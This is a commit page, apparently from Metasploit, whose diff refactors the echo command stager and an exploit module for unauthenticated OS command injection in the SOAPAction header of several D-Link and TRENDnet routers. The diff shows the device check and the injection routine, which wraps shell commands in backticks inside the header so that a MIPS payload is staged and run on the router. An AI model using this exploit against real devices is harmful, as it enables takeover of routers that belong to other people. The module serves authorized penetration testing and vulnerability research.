Skip to content

Commit 8b2e49e

Browse files
committed
Do code cleanup
1 parent 666b0bc commit 8b2e49e

File tree

2 files changed

+19
-22
lines changed

2 files changed

+19
-22
lines changed

lib/rex/exploitation/cmdstager/echo.rb

Lines changed: 4 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -26,11 +26,10 @@ def initialize(exe)
2626
# and initialize opts[:enc_format].
2727
#
2828
def generate(opts = {})
29-
if opts[:temp] == false
30-
opts[:temp] = ''
31-
else
32-
opts[:temp] = opts[:temp] || '/tmp/'
33-
opts[:temp].gsub!(/\\/, "/")
29+
opts[:temp] = opts[:temp] || '/tmp/'
30+
31+
unless opts[:temp].empty?
32+
opts[:temp].gsub!(/\\/, '/')
3433
opts[:temp] = opts[:temp].shellescape
3534
opts[:temp] << '/' if opts[:temp][-1,1] != '/'
3635
end

modules/exploits/linux/http/dlink_upnp_header_exec_noauth.rb

Lines changed: 15 additions & 17 deletions
Original file line numberDiff line numberDiff line change
@@ -18,9 +18,9 @@ def initialize(info = {})
1818
Different D-Link Routers are vulnerable to OS command injection in the UPnP SOAP
1919
interface. Since it is a blind OS command injection vulnerability, there is no
2020
output for the executed command. This module has been tested on a DIR-645 device.
21-
The following devices are also reported as affected:
22-
DAP-1522 revB, DAP-1650 revB, DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB
23-
DIR-815 revB, DIR-300 revB, DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
21+
The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
22+
DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
23+
DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
2424
},
2525
'Author' =>
2626
[
@@ -36,21 +36,19 @@ def initialize(info = {})
3636
],
3737
'DisclosureDate' => 'Feb 13 2015',
3838
'Privileged' => true,
39-
'Platform' => 'unix',
39+
'Platform' => 'linux',
4040
'Targets' =>
4141
[
4242
[ 'MIPS Little Endian',
4343
{
44-
'Platform' => 'linux',
4544
'Arch' => ARCH_MIPSLE
4645
}
4746
],
4847
[ 'MIPS Big Endian', # unknown if there are BE devices out there ... but in case we have a target
4948
{
50-
'Platform' => 'linux',
5149
'Arch' => ARCH_MIPSBE
5250
}
53-
],
51+
]
5452
],
5553
'DefaultTarget' => 0
5654
))
@@ -60,16 +58,17 @@ def initialize(info = {})
6058

6159
def check
6260
uri = '/HNAP1/'
63-
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings"
61+
soap_action = 'http://purenetworks.com/HNAP1/GetDeviceSettings'
6462

6563
begin
6664
res = send_request_cgi({
6765
'uri' => uri,
6866
'method' => 'GET',
6967
'headers' => {
70-
'SOAPAction' => soapaction,
71-
},
68+
'SOAPAction' => soap_action,
69+
}
7270
})
71+
7372
if res && [200].include?(res.code) && res.body =~ /D-Link/
7473
return Exploit::CheckCode::Detected
7574
end
@@ -92,26 +91,25 @@ def exploit
9291
execute_cmdstager(
9392
:flavor => :echo,
9493
:linemax => 200,
95-
:temp => false
94+
:temp => ''
9695
)
97-
9896
end
9997

10098
def execute_command(cmd, opts)
10199

102100
uri = '/HNAP1/'
103101

104-
cmd_new = "cd && cd tmp && export PATH=$PATH:. && " << cmd
105-
soapaction = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
102+
cmd_new = 'cd && cd tmp && export PATH=$PATH:. && ' << cmd
103+
soap_action = "http://purenetworks.com/HNAP1/GetDeviceSettings/`#{cmd_new}`"
106104

107105
begin
108106
res = send_request_cgi({
109107
'uri' => uri,
110108
'method' => 'GET',
111109
'headers' => {
112-
'SOAPAction' => soapaction,
113-
},
114-
},1)
110+
'SOAPAction' => soap_action,
111+
}
112+
}, 3)
115113
rescue ::Rex::ConnectionError
116114
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
117115
end

0 commit comments

Comments
 (0)